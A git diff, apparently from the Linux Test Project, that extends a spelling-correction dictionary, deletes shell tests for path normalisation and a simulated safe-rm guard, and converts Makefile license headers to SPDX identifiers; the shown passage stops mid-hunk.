+compaibility||compatibility
+comparsion||comparison
+compatability||compatibility
+compatable||compatible
+compatibililty||compatibility
+compatibiliy||compatibility
+compatibilty||compatibility
+compatiblity||compatibility
+competion||completion
+compilant||compliant
+compleatly||completely
+completition||completion
+completly||completely
+complient||compliant
+componnents||components
+compoment||component
+comppatible||compatible
+compres||compress
+compresion||compression
+comression||compression
+comunicate||communicate
+comunication||communication
+conbination||combination
+conditionaly||conditionally
+conditon||condition
+condtion||condition
+conected||connected
+conector||connector
+configration||configuration
+configred||configured
+configuartion||configuration
+configuation||configuration
+configued||configured
+configuratoin||configuration
+configuraton||configuration
+configuretion||configuration
+configutation||configuration
+conider||consider
+conjuction||conjunction
+connecetd||connected
+connectinos||connections
+connetor||connector
+connnection||connection
+connnections||connections
+consistancy||consistency
+consistant||consistent
+containes||contains
+containts||contains
+contaisn||contains
+contant||contact
+contence||contents
+contiguos||contiguous
+continious||continuous
+continous||continuous
+continously||continuously
+continueing||continuing
+contraints||constraints
+contruct||construct
+contol||control
+contoller||controller
+controled||controlled
+controler||controller
+controll||control
+contruction||construction
+contry||country
+conuntry||country
+convertion||conversion
+convertor||converter
+convienient||convenient
+convinient||convenient
+corected||corrected
+correponding||corresponding
+correponds||corresponds
+correspoding||corresponding
+cotrol||control
+cound||could
+couter||counter
+coutner||counter
+cryptocraphic||cryptographic
+cunter||counter
+curently||currently
+cylic||cyclic
+dafault||default
+deactive||deactivate
+deafult||default
+deamon||daemon
+debouce||debounce
+decendant||descendant
+decendants||descendants
+decompres||decompress
+decsribed||described
+decription||description
+dectected||detected
+defailt||default
+deferal||deferral
+deffered||deferred
+defferred||deferred
+definate||definite
+definately||definitely
+definiation||definition
+defintion||definition
+defintions||definitions
+defualt||default
+defult||default
+deintializing||deinitializing
+deintialize||deinitialize
+deintialized||deinitialized
+deivce||device
+delared||declared
+delare||declare
+delares||declares
+delaring||declaring
+delemiter||delimiter
+delievered||delivered
+demodualtor||demodulator
+demension||dimension
+dependancies||dependencies
+dependancy||dependency
+dependant||dependent
+dependend||dependent
+depreacted||deprecated
+depreacte||deprecate
+desactivate||deactivate
+desciptor||descriptor
+desciptors||descriptors
+descripto||descriptor
+descripton||description
+descrition||description
+descritptor||descriptor
+desctiptor||descriptor
+desriptor||descriptor
+desriptors||descriptors
+desination||destination
+destionation||destination
+destoried||destroyed
+destory||destroy
+destoryed||destroyed
+destorys||destroys
+destroied||destroyed
+detabase||database
+deteced||detected
+detectt||detect
+develope||develop
+developement||development
+developped||developed
+developpement||development
+developper||developer
+developpment||development
+deveolpment||development
+devided||divided
+deviece||device
+devision||division
+diable||disable
+diabled||disabled
+dicline||decline
+dictionnary||dictionary
+didnt||didn't
+diferent||different
+differrence||difference
+diffrent||different
+differenciate||differentiate
+diffrentiate||differentiate
+difinition||definition
+digial||digital
+dimention||dimension
+dimesions||dimensions
+diconnected||disconnected
+disabed||disabled
+disble||disable
+disgest||digest
+disired||desired
+dispalying||displaying
+diplay||display
+directon||direction
+direcly||directly
+direectly||directly
+diregard||disregard
+disassocation||disassociation
+disapear||disappear
+disapeared||disappeared
+disappared||disappeared
+disbale||disable
+disbaled||disabled
+disble||disable
+disbled||disabled
+disconnet||disconnect
+discontinous||discontinuous
+disharge||discharge
+disnabled||disabled
+dispertion||dispersion
+dissapears||disappears
+dissconect||disconnect
+distiction||distinction
+divisable||divisible
+divsiors||divisors
+docuentation||documentation
+documantation||documentation
+documentaion||documentation
+documment||document
+doesnt||doesn't
+donwload||download
+donwloading||downloading
+dorp||drop
+dosen||doesn
+downlad||download
+downlads||downloads
+droped||dropped
+droput||dropout
+druing||during
+dyanmic||dynamic
+dynmaic||dynamic
+eanable||enable
+eanble||enable
+easilly||easily
+ecspecially||especially
+edditable||editable
+editting||editing
+efective||effective
+effectivness||effectiveness
+efficently||efficiently
+ehther||ether
+eigth||eight
+elementry||elementary
+eletronic||electronic
+embeded||embedded
+enabledi||enabled
+enbale||enable
+enble||enable
+enchanced||enhanced
+encorporating||incorporating
+encrupted||encrypted
+encrypiton||encryption
+encryptio||encryption
+endianess||endianness
+enpoint||endpoint
+enhaced||enhanced
+enlightnment||enlightenment
+enqueing||enqueuing
+entires||entries
+entites||entities
+entrys||entries
+enocded||encoded
+enought||enough
+enterily||entirely
+enviroiment||environment
+enviroment||environment
+environement||environment
+environent||environment
+eqivalent||equivalent
+equiped||equipped
+equivelant||equivalent
+equivilant||equivalent
+eror||error
+errorr||error
+errror||error
+estbalishment||establishment
+etsablishment||establishment
+etsbalishment||establishment
+evalute||evaluate
+evalutes||evaluates
+evalution||evaluation
+excecutable||executable
+exceded||exceeded
+exceds||exceeds
+exceeed||exceed
+excellant||excellent
+execeeded||exceeded
+execeeds||exceeds
+exeed||exceed
+exeeds||exceeds
+exeuction||execution
+existance||existence
+existant||existent
+exixt||exist
+exlcude||exclude
+exlcusive||exclusive
+exmaple||example
+expecially||especially
+experies||expires
+explicite||explicit
+explicitely||explicitly
+explict||explicit
+explictely||explicitly
+explictly||explicitly
+expresion||expression
+exprimental||experimental
+extened||extended
+exteneded||extended
+extensability||extensibility
+extention||extension
+extenstion||extension
+extracter||extractor
+faied||failed
+faield||failed
+faild||failed
+failded||failed
+failer||failure
+faill||fail
+failied||failed
+faillure||failure
+failue||failure
+failuer||failure
+failng||failing
+faireness||fairness
+falied||failed
+faliure||failure
+fallbck||fallback
+familar||familiar
+fatser||faster
+feauture||feature
+feautures||features
+fetaure||feature
+fetaures||features
+fileystem||filesystem
+fimrware||firmware
+fimware||firmware
+firmare||firmware
+firmaware||firmware
+firware||firmware
+firwmare||firmware
+finanize||finalize
+findn||find
+finilizes||finalizes
+finsih||finish
+flusing||flushing
+folloing||following
+followign||following
+followings||following
+follwing||following
+fonud||found
+forseeable||foreseeable
+forse||force
+fortan||fortran
+forwardig||forwarding
+frambuffer||framebuffer
+framming||framing
+framwork||framework
+frequence||frequency
+frequncy||frequency
+frequancy||frequency
+frome||from
+fucntion||function
+fuction||function
+fuctions||functions
+fullill||fulfill
+funcation||function
+funcion||function
+functionallity||functionality
+functionaly||functionally
+functionnality||functionality
+functonality||functionality
+funtion||function
+funtions||functions
+furthur||further
+futhermore||furthermore
+futrue||future
+gatable||gateable
+gateing||gating
+gauage||gauge
+gaurenteed||guaranteed
+generiously||generously
+genereate||generate
+genereted||generated
+genric||generic
+globel||global
+grabing||grabbing
+grahical||graphical
+grahpical||graphical
+granularty||granularity
+grapic||graphic
+grranted||granted
+guage||gauge
+guarenteed||guaranteed
+guarentee||guarantee
+halfs||halves
+hander||handler
+handfull||handful
+hanlde||handle
+hanled||handled
+happend||happened
+hardare||hardware
+harware||hardware
+havind||having
+heirarchically||hierarchically
+heirarchy||hierarchy
+helpfull||helpful
+hearbeat||heartbeat
+heterogenous||heterogeneous
+hexdecimal||hexadecimal
+hybernate||hibernate
+hierachy||hierarchy
+hierarchie||hierarchy
+homogenous||homogeneous
+howver||however
+hsould||should
+hypervior||hypervisor
+hypter||hyper
+identidier||identifier
+iligal||illegal
+illigal||illegal
+illgal||illegal
+iomaped||iomapped
+imblance||imbalance
+immeadiately||immediately
+immedaite||immediate
+immedate||immediate
+immediatelly||immediately
+immediatly||immediately
+immidiate||immediate
+immutible||immutable
+impelentation||implementation
+impementated||implemented
+implemantation||implementation
+implemenation||implementation
+implementaiton||implementation
+implementated||implemented
+implemention||implementation
+implementd||implemented
+implemetation||implementation
+implemntation||implementation
+implentation||implementation
+implmentation||implementation
+implmenting||implementing
+incative||inactive
+incomming||incoming
+incompatabilities||incompatibilities
+incompatable||incompatible
+incompatble||incompatible
+inconsistant||inconsistent
+increas||increase
+incremeted||incremented
+incrment||increment
+incuding||including
+inculde||include
+indendation||indentation
+indended||intended
+independant||independent
+independantly||independently
+independed||independent
+indiate||indicate
+indicat||indicate
+inexpect||inexpected
+inferface||interface
+infinit||infinite
+infomation||information
+informatiom||information
+informations||information
+informtion||information
+infromation||information
+ingore||ignore
+inital||initial
+initalized||initialized
+initalised||initialized
+initalise||initialize
+initalize||initialize
+initation||initiation
+initators||initiators
+initialiazation||initialization
+initializationg||initialization
+initializiation||initialization
+initialze||initialize
+initialzed||initialized
+initialzing||initializing
+initilization||initialization
+initilize||initialize
+initliaze||initialize
+initilized||initialized
+inofficial||unofficial
+inrerface||interface
+insititute||institute
+instace||instance
+instal||install
+instanciate||instantiate
+instanciated||instantiated
+instuments||instruments
+insufficent||insufficient
+inteface||interface
+integreated||integrated
+integrety||integrity
+integrey||integrity
+intendet||intended
+intented||intended
+interanl||internal
+interchangable||interchangeable
+interferring||interfering
+interger||integer
+intergrated||integrated
+intermittant||intermittent
+internel||internal
+interoprability||interoperability
+interuupt||interrupt
+interupt||interrupt
+interupts||interrupts
+interrface||interface
+interrrupt||interrupt
+interrup||interrupt
+interrups||interrupts
+interruptted||interrupted
+interupted||interrupted
+intiailized||initialized
+intial||initial
+intialisation||initialisation
+intialised||initialised
+intialise||initialise
+intialization||initialization
+intialized||initialized
+intialize||initialize
+intregral||integral
+intrerrupt||interrupt
+intrrupt||interrupt
+intterrupt||interrupt
+intuative||intuitive
+inavlid||invalid
+invaid||invalid
+invaild||invalid
+invailid||invalid
+invald||invalid
+invalde||invalid
+invalide||invalid
+invalidiate||invalidate
+invalud||invalid
+invididual||individual
+invokation||invocation
+invokations||invocations
+ireelevant||irrelevant
+irrelevent||irrelevant
+isnt||isn't
+isssue||issue
+issus||issues
+iteraions||iterations
+iternations||iterations
+itertation||iteration
+itslef||itself
+jave||java
+jeffies||jiffies
+jumpimng||jumping
+juse||just
+jus||just
+kown||known
+langage||language
+langauage||language
+langauge||language
+langugage||language
+lauch||launch
+layed||laid
+legnth||length
+leightweight||lightweight
+lengh||length
+lenght||length
+lenth||length
+lesstiff||lesstif
+libaries||libraries
+libary||library
+librairies||libraries
+libraris||libraries
+licenceing||licencing
+limted||limited
+logaritmic||logarithmic
+loggging||logging
+loggin||login
+logile||logfile
+loobpack||loopback
+loosing||losing
+losted||lost
+maangement||management
+machinary||machinery
+maibox||mailbox
+maintainance||maintenance
+maintainence||maintenance
+maintan||maintain
+makeing||making
+mailformed||malformed
+malplaced||misplaced
+malplace||misplace
+managable||manageable
+managament||management
+managment||management
+mangement||management
+manger||manager
+manoeuvering||maneuvering
+manufaucturing||manufacturing
+mappping||mapping
+maping||mapping
+matchs||matches
+mathimatical||mathematical
+mathimatic||mathematic
+mathimatics||mathematics
+maximium||maximum
+maxium||maximum
+mechamism||mechanism
+meetign||meeting
+memeory||memory
+memmber||member
+memoery||memory
+memroy||memory
+ment||meant
+mergable||mergeable
+mesage||message
+messags||messages
+messgaes||messages
+messsage||message
+messsages||messages
+metdata||metadata
+micropone||microphone
+microprocesspr||microprocessor
+migrateable||migratable
+milliseonds||milliseconds
+minium||minimum
+minimam||minimum
+miniumum||minimum
+minumum||minimum
+misalinged||misaligned
+miscelleneous||miscellaneous
+misformed||malformed
+mispelled||misspelled
+mispelt||misspelt
+mising||missing
+mismactch||mismatch
+missign||missing
+missmanaged||mismanaged
+missmatch||mismatch
+misssing||missing
+miximum||maximum
+mmnemonic||mnemonic
+mnay||many
+modfiy||modify
+modifer||modifier
+modulues||modules
+momery||memory
+memomry||memory
+monitring||monitoring
+monochorome||monochrome
+monochromo||monochrome
+monocrome||monochrome
+mopdule||module
+mroe||more
+multipler||multiplier
+mulitplied||multiplied
+multidimensionnal||multidimensional
+multipe||multiple
+multple||multiple
+mumber||number
+muticast||multicast
+mutilcast||multicast
+mutiple||multiple
+mutli||multi
+nams||names
+navagating||navigating
+nead||need
+neccecary||necessary
+neccesary||necessary
+neccessary||necessary
+necesary||necessary
+neded||needed
+negaive||negative
+negoitation||negotiation
+negotation||negotiation
+nerver||never
+nescessary||necessary
+nessessary||necessary
+noticable||noticeable
+notication||notification
+notications||notifications
+notifcations||notifications
+notifed||notified
+notity||notify
+nubmer||number
+numebr||number
+numner||number
+obtaion||obtain
+obusing||abusing
+occassionally||occasionally
+occationally||occasionally
+occurance||occurrence
+occurances||occurrences
+occurd||occurred
+occured||occurred
+occurence||occurrence
+occure||occurred
+occuring||occurring
+offser||offset
+offet||offset
+offlaod||offload
+offloded||offloaded
+offseting||offsetting
+omited||omitted
+omiting||omitting
+omitt||omit
+ommiting||omitting
+ommitted||omitted
+onself||oneself
+ony||only
+openning||opening
+operatione||operation
+opertaions||operations
+opportunies||opportunities
+optionnal||optional
+optmizations||optimizations
+orientatied||orientated
+orientied||oriented
+orignal||original
+originial||original
+otherise||otherwise
+ouput||output
+oustanding||outstanding
+overaall||overall
+overhread||overhead
+overlaping||overlapping
+overflw||overflow
+overlfow||overflow
+overide||override
+overrided||overridden
+overriden||overridden
+overrrun||overrun
+overun||overrun
+overwritting||overwriting
+overwriten||overwritten
+pacakge||package
+pachage||package
+packacge||package
+packege||package
+packge||package
+packtes||packets
+pakage||package
+paket||packet
+pallette||palette
+paln||plan
+paramameters||parameters
+paramaters||parameters
+paramater||parameter
+parametes||parameters
+parametised||parametrised
+paramter||parameter
+paramters||parameters
+parmaters||parameters
+particuarly||particularly
+particularily||particularly
+partion||partition
+partions||partitions
+partiton||partition
+pased||passed
+passin||passing
+pathes||paths
+pattrns||patterns
+pecularities||peculiarities
+peformance||performance
+peforming||performing
+peice||piece
+pendantic||pedantic
+peprocessor||preprocessor
+perfomance||performance
+perfoming||performing
+perfomring||performing
+periperal||peripheral
+peripherial||peripheral
+permissons||permissions
+peroid||period
+persistance||persistence
+persistant||persistent
+phoneticly||phonetically
+plalform||platform
+platfoem||platform
+platfrom||platform
+plattform||platform
+pleaes||please
+ploting||plotting
+plugable||pluggable
+poinnter||pointer
+pointeur||pointer
+poiter||pointer
+posible||possible
+positon||position
+possibilites||possibilities
+potocol||protocol
+powerfull||powerful
+pramater||parameter
+preamle||preamble
+preample||preamble
+preapre||prepare
+preceeded||preceded
+preceeding||preceding
+preceed||precede
+precendence||precedence
+precission||precision
+preemptable||preemptible
+prefered||preferred
+prefferably||preferably
+prefitler||prefilter
+preform||perform
+premption||preemption
+prepaired||prepared
+prepate||prepare
+preperation||preparation
+preprare||prepare
+pressre||pressure
+presuambly||presumably
+previosuly||previously
+primative||primitive
+princliple||principle
+priorty||priority
+privilaged||privileged
+privilage||privilege
+priviledge||privilege
+priviledges||privileges
+privleges||privileges
+probaly||probably
+procceed||proceed
+proccesors||processors
+procesed||processed
+proces||process
+procesing||processing
+processessing||processing
+processess||processes
+processpr||processor
+processsed||processed
+processsing||processing
+procteted||protected
+prodecure||procedure
+progamming||programming
+progams||programs
+progess||progress
+programable||programmable
+programers||programmers
+programm||program
+programms||programs
+progresss||progress
+prohibitted||prohibited
+prohibitting||prohibiting
+promiscous||promiscuous
+promps||prompts
+pronnounced||pronounced
+prononciation||pronunciation
+pronouce||pronounce
+pronunce||pronounce
+propery||property
+propigate||propagate
+propigation||propagation
+propogation||propagation
+propogate||propagate
+prosess||process
+protable||portable
+protcol||protocol
+protecion||protection
+protedcted||protected
+protocoll||protocol
+promixity||proximity
+psudo||pseudo
+psuedo||pseudo
+psychadelic||psychedelic
+purgable||purgeable
+pwoer||power
+queing||queuing
+quering||querying
+queus||queues
+randomally||randomly
+raoming||roaming
+reasearcher||researcher
+reasearchers||researchers
+reasearch||research
+receieve||receive
+recepient||recipient
+recevied||received
+receving||receiving
+recievd||received
+recieved||received
+recieve||receive
+reciever||receiver
+recieves||receives
+recieving||receiving
+recogniced||recognised
+recognizeable||recognizable
+recommanded||recommended
+recyle||recycle
+redircet||redirect
+redirectrion||redirection
+redundacy||redundancy
+reename||rename
+refcounf||refcount
+refence||reference
+refered||referred
+referenace||reference
+refering||referring
+refernces||references
+refernnce||reference
+refrence||reference
+registed||registered
+registerd||registered
+registeration||registration
+registeresd||registered
+registerred||registered
+registes||registers
+registraration||registration
+regsiter||register
+regster||register
+regualar||regular
+reguator||regulator
+regulamentations||regulations
+reigstration||registration
+releated||related
+relevent||relevant
+reloade||reload
+remoote||remote
+remore||remote
+removeable||removable
+repectively||respectively
+replacable||replaceable
+replacments||replacements
+replys||replies
+reponse||response
+representaion||representation
+reqeust||request
+reqister||register
+requed||requeued
+requestied||requested
+requiere||require
+requirment||requirement
+requred||required
+requried||required
+requst||request
+requsted||requested
+reregisteration||reregistration
+reseting||resetting
+reseved||reserved
+reseverd||reserved
+resizeable||resizable
+resouce||resource
+resouces||resources
+resoures||resources
+responce||response
+resrouce||resource
+ressizes||resizes
+ressource||resource
+ressources||resources
+restesting||retesting
+resumbmitting||resubmitting
+retransmited||retransmitted
+retreived||retrieved
+retreive||retrieve
+retreiving||retrieving
+retrive||retrieve
+retrived||retrieved
+retrun||return
+retun||return
+retuned||returned
+reudce||reduce
+reuest||request
+reuqest||request
+reutnred||returned
+revsion||revision
+rmeoved||removed
+rmeove||remove
+rmeoves||removes
+rountine||routine
+routins||routines
+rquest||request
+runing||running
+runned||ran
+runnning||running
+runtine||runtime
+sacrifying||sacrificing
+safly||safely
+safty||safety
+savable||saveable
+scaleing||scaling
+scaned||scanned
+scaning||scanning
+scarch||search
+schdule||schedule
+seach||search
+searchs||searches
+secion||section
+secquence||sequence
+secund||second
+segement||segment
+seleted||selected
+semaphone||semaphore
+senario||scenario
+senarios||scenarios
+sentivite||sensitive
+separatly||separately
+sepcify||specify
+seperated||separated
+seperately||separately
+seperate||separate
+seperatly||separately
+seperator||separator
+sepperate||separate
+seqeunce||sequence
+seqeuncer||sequencer
+seqeuencer||sequencer
+sequece||sequence
+sequemce||sequence
+sequencial||sequential
+serivce||service
+serveral||several
+servive||service
+setts||sets
+settting||setting
+shapshot||snapshot
+shotdown||shutdown
+shoud||should
+shouldnt||shouldn't
+shoule||should
+shrinked||shrunk
+siginificantly||significantly
+signabl||signal
+significanly||significantly
+similary||similarly
+similiar||similar
+simlar||similar
+simliar||similar
+simpified||simplified
+singaled||signaled
+singal||signal
+singed||signed
+sleeped||slept
+sliped||slipped
+softwade||software
+softwares||software
+soley||solely
+souce||source
+speach||speech
+specfic||specific
+specfield||specified
+speciefied||specified
+specifc||specific
+specifed||specified
+specificatin||specification
+specificaton||specification
+specificed||specified
+specifing||specifying
+specifiy||specify
+specifiying||specifying
+speficied||specified
+speicify||specify
+speling||spelling
+spinlcok||spinlock
+spinock||spinlock
+splitted||split
+spreaded||spread
+spurrious||spurious
+sructure||structure
+stablilization||stabilization
+staically||statically
+staion||station
+standardss||standards
+standartization||standardization
+standart||standard
+standy||standby
+stardard||standard
+staticly||statically
+statuss||status
+stoped||stopped
+stoping||stopping
+stoppped||stopped
+straming||streaming
+struc||struct
+structres||structures
+stuct||struct
+strucuture||structure
+stucture||structure
+sturcture||structure
+subdirectoires||subdirectories
+suble||subtle
+substract||subtract
+submited||submitted
+submition||submission
+succeded||succeeded
+suceed||succeed
+succesfully||successfully
+succesful||successful
+successed||succeeded
+successfull||successful
+successfuly||successfully
+sucessfully||successfully
+sucessful||successful
+sucess||success
+superflous||superfluous
+superseeded||superseded
+suplied||supplied
+suported||supported
+suport||support
+supportet||supported
+suppored||supported
+supportin||supporting
+suppoted||supported
+suppported||supported
+suppport||support
+supprot||support
+supress||suppress
+surpressed||suppressed
+surpresses||suppresses
+susbsystem||subsystem
+suspeneded||suspended
+suspsend||suspend
+suspicously||suspiciously
+swaping||swapping
+switchs||switches
+swith||switch
+swithable||switchable
+swithc||switch
+swithced||switched
+swithcing||switching
+swithed||switched
+swithing||switching
+swtich||switch
+syfs||sysfs
+symetric||symmetric
+synax||syntax
+synchonized||synchronized
+synchronuously||synchronously
+syncronize||synchronize
+syncronized||synchronized
+syncronizing||synchronizing
+syncronus||synchronous
+syste||system
+sytem||system
+sythesis||synthesis
+taht||that
+tansmit||transmit
+targetted||targeted
+targetting||targeting
+taskelt||tasklet
+teh||the
+temorary||temporary
+temproarily||temporarily
+temperture||temperature
+thead||thread
+therfore||therefore
+thier||their
+threds||threads
+threee||three
+threshhold||threshold
+thresold||threshold
+throught||through
+trackling||tracking
+troughput||throughput
+trys||tries
+thses||these
+tiggers||triggers
+tiggered||triggered
+tipically||typically
+timeing||timing
+timout||timeout
+tmis||this
+toogle||toggle
+torerable||tolerable
+traget||target
+traking||tracking
+tramsmitted||transmitted
+tramsmit||transmit
+tranasction||transaction
+tranceiver||transceiver
+tranfer||transfer
+tranmission||transmission
+transcevier||transceiver
+transciever||transceiver
+transferd||transferred
+transfered||transferred
+transfering||transferring
+transision||transition
+transmittd||transmitted
+transormed||transformed
+trasfer||transfer
+trasmission||transmission
+treshold||threshold
+triggerd||triggered
+trigerred||triggered
+trigerring||triggering
+trun||turn
+tunning||tuning
+ture||true
+tyep||type
+udpate||update
+uesd||used
+uknown||unknown
+usccess||success
+uncommited||uncommitted
+uncompatible||incompatible
+unconditionaly||unconditionally
+undeflow||underflow
+underun||underrun
+unecessary||unnecessary
+unexecpted||unexpected
+unexepected||unexpected
+unexpcted||unexpected
+unexpectd||unexpected
+unexpeted||unexpected
+unexpexted||unexpected
+unfortunatelly||unfortunately
+unifiy||unify
+uniterrupted||uninterrupted
+unintialized||uninitialized
+unitialized||uninitialized
+unkmown||unknown
+unknonw||unknown
+unknouwn||unknown
+unknow||unknown
+unkown||unknown
+unamed||unnamed
+uneeded||unneeded
+unneded||unneeded
+unneccecary||unnecessary
+unneccesary||unnecessary
+unneccessary||unnecessary
+unnecesary||unnecessary
+unneedingly||unnecessarily
+unnsupported||unsupported
+unmached||unmatched
+unprecise||imprecise
+unregester||unregister
+unresgister||unregister
+unrgesiter||unregister
+unsinged||unsigned
+unstabel||unstable
+unsolicitied||unsolicited
+unsuccessfull||unsuccessful
+unsuported||unsupported
+untill||until
+ununsed||unused
+unuseful||useless
+unvalid||invalid
+upate||update
+upsupported||unsupported
+usefule||useful
+usefull||useful
+usege||usage
+usera||users
+usualy||usually
+usupported||unsupported
+utilites||utilities
+utillities||utilities
+utilties||utilities
+utiltity||utility
+utitity||utility
+utitlty||utility
+vaid||valid
+vaild||valid
+valide||valid
+variantions||variations
+varible||variable
+varient||variant
+vaule||value
+verbse||verbose
+veify||verify
+veriosn||version
+verisons||versions
+verison||version
+verson||version
+vicefersa||vice-versa
+virtal||virtual
+virtaul||virtual
+virtiual||virtual
+visiters||visitors
+vitual||virtual
+vunerable||vulnerable
+wakeus||wakeups
+wathdog||watchdog
+wating||waiting
+wiat||wait
+wether||whether
+whataver||whatever
+whcih||which
+whenver||whenever
+wheter||whether
+whe||when
+wierd||weird
+wiil||will
+wirte||write
+withing||within
+wnat||want
+wont||won't
+workarould||workaround
+writeing||writing
+writting||writing
+wtih||with
+zombe||zombie
+zomebie||zombie
diff --git a/scripts/tests/test_abspath.sh b/scripts/tests/test_abspath.sh
deleted file mode 100755
index 8861cc5..0000000
--- a/scripts/tests/test_abspath.sh
+++ /dev/null
@@ -1,121 +0,0 @@
-#!/bin/sh
-#
-# Test the _abspath function, utilized as part of abspath.sh
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-#
-
-SCRIPTS_DIR="$(readlink -f ${0%/*}/..)"
-TEST_PATH=$("$SCRIPTS_DIR/realpath.sh" "$SCRIPTS_DIR/lib")
-
-pushd "$TEST_PATH" >/dev/null
-
-set --	\
-	:$PWD								\
-	.:$PWD								\
-	foo/bar:$PWD/foo/bar						\
-	/foo/bar:/foo/bar						\
-	/foo/../bar:/bar				 		\
-	/foo/bar/../baz:/foo/baz				 	\
-	/foo/bar/../baz/:/foo/baz				 	\
-	/foo/../bar/:/bar 						\
-	/foo/../bar/..:/ 						\
-	/foo/../bar/../:/ 						\
-	/foo/bar/../baz:/foo/baz				 	\
-	/foo/./bar:/foo/bar				 		\
-	/./foo/./bar:/foo/bar						\
-	/foo//bar:/foo/bar						\
-	//foo/bar:/foo/bar						\
-	//////foo/bar:/foo/bar						\
-	/foo/////bar:/foo/bar						\
-	/a/b/c/.././:/a/b						\
-	/.foo:/.foo							\
-	./.foo:$PWD/.foo						\
-	/.foo/.bar:/.foo/.bar						\
-	./.foo/.bar:$PWD/.foo/.bar					\
-	/scratch/ltp/testcases/realtime/../..:/scratch/ltp		\
-	..:$(dirname "$TEST_PATH")					\
-	../..:$(dirname "$(dirname "$TEST_PATH")")			\
-	testcases/kernel/controllers/libcontrollers/../../../..:$PWD
-
-export TCID=test_abspath
-export TST_TOTAL=$#
-export TST_COUNT=1
-
-. "$SCRIPTS_DIR/lib/file_functions.sh"
-
-for i in "$@"; do
-
-	test_string=${i%:*}
-	expected_string=${i#*:}
-
-	result=$(_abspath "$test_string")
-
-	if [ "$result" = "$expected_string" ] ; then
-		result_s="matches expected string _abspath(${test_string}) => $result == $expected_string)"
-		result_v=TPASS
-	else
-		result_s="doesn't match expected string _abspath(${test_string}) => $result != $expected_string)"
-		result_v=TFAIL
-		FAILED=1
-	fi
-
-	tst_resm $result_v "Test string $result_s"
-
-	: $(( TST_COUNT += 1 ))
-
-done
-
-popd >/dev/null
-
-expected_string="$PWD"
-test_string='""'
-result=$("$SCRIPTS_DIR/abspath.sh" "")
-
-if [ "$result" = "$expected_string" ] ; then
-	result_s="matches expected string abspath.sh ${test_string} => $result == $expected_string)"
-	result_v=TPASS
-else
-	result_s="doesn't match expected string abspath.sh ${test_string} => $result != $expected_string)"
-	result_v=TFAIL
-	FAILED=1
-fi
-
-tst_resm $result_v "Test string $result_s"
-
-: $(( TST_COUNT += 1 ))
-
-expected_string="$PWD $PWD"
-test_string="\"\" ."
-result=$("$SCRIPTS_DIR/abspath.sh" "" .)
-
-if [ "$result" = "$expected_string" ] ; then
-	result_s="matches expected string abspath.sh ${test_string} => $result == $expected_string)"
-	result_v=TPASS
-else
-	result_s="doesn't match expected string abspath.sh ${test_string} => $result != $expected_string)"
-	result_v=TFAIL
-	FAILED=1
-fi
-
-tst_resm $result_v "Test string $result_s"
-
-: $(( TST_COUNT += 1 ))
-
-exit ${FAILED:=0}
diff --git a/scripts/tests/test_safe_rm.sh b/scripts/tests/test_safe_rm.sh
deleted file mode 100755
index 92bf534..0000000
--- a/scripts/tests/test_safe_rm.sh
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/bin/sh
-#
-# Test for safe_rm.sh
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, February 2010
-#
-
-export SIMULATE_RM=1
-
-export TCID=test_safe_rm
-export TST_TOTAL=6
-export TST_COUNT=1
-
-set -e
-
-ec=0
-
-for i in /foo foo/bar /foo/bar/; do
-	if "${0%/*}/../safe_rm.sh" $i ; then
-		tst_resm TPASS "$i passed as expected"
-	else
-		tst_resm TFAIL "$i didn't pass as expected"
-		ec=$(( $ec | 1 ))
-	fi
-done
-
-for i in / /// /.; do
-	if "${0%/*}/../safe_rm.sh" $i; then
-		tst_resm TFAIL "$i didn't fail as expected"
-		ec=$(( $ec | 1 ))
-	else
-		tst_resm TPASS "$i failed as expected"
-	fi
-done
-
-exit $ec
diff --git a/testcases/Makefile b/testcases/Makefile
index b04e630..662d4b1 100644
--- a/testcases/Makefile
+++ b/testcases/Makefile
@@ -1,33 +1,14 @@
-#
-#    testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
 # XXX (garrcoop):
-# 1. kdump shouldn't be compiled by default, because it's runtime based and
-#    WILL crash the build host (the tests need to be fixed to just build, not
-#    run).
+# kdump shouldn't be compiled by default, because it's runtime based and will
+# crash the build host (the tests need to be fixed to just build, not run).
 FILTER_OUT_DIRS		:= kdump
 
 ifneq ($(WITH_OPEN_POSIX_TESTSUITE),yes)
diff --git a/testcases/commands/Makefile b/testcases/commands/Makefile
index fba3a52..3ef7db4 100644
--- a/testcases/commands/Makefile
+++ b/testcases/commands/Makefile
@@ -1,25 +1,7 @@
-#
-#    commands test suite Makefile.
-#
